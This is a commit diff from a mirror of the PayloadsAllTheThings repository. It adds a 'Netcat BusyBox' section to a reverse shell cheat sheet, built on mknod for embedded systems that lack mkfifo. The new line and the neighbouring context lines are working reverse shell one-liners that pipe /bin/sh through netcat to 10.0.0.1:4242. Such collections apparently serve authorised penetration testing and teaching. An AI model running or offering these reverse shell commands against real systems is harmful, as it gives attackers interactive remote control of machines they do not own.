mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-19 19:06:12 +00:00
Added Netcat BusyBox
Some embedded systems like busybox won't have mkfifo present; instead, they will have mknod. This updated code can spawn reverse shell in systems that use mknod instead of mkfifo.
This commit is contained in:
parent
4f89c0a6d2
commit
059a866fd2
@ -17,6 +17,7 @@
|
|||||||
* [Lua](#lua)
|
* [Lua](#lua)
|
||||||
* [Ncat](#ncat)
|
* [Ncat](#ncat)
|
||||||
* [Netcat OpenBsd](#netcat-openbsd)
|
* [Netcat OpenBsd](#netcat-openbsd)
|
||||||
|
* [Netcat BusyBox](#netcat-busybox)
|
||||||
* [Netcat Traditional](#netcat-traditional)
|
* [Netcat Traditional](#netcat-traditional)
|
||||||
* [NodeJS](#nodejs)
|
* [NodeJS](#nodejs)
|
||||||
* [OpenSSL](#openssl)
|
* [OpenSSL](#openssl)
|
||||||
@ -157,6 +158,12 @@ nc -c bash 10.0.0.1 4242
|
|||||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### Netcat BusyBox
|
||||||
|
|
||||||
|
```bash
|
||||||
|
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
|
||||||
|
```
|
||||||
|
|
||||||
### Ncat
|
### Ncat
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
Loading…
Reference in New Issue
Block a user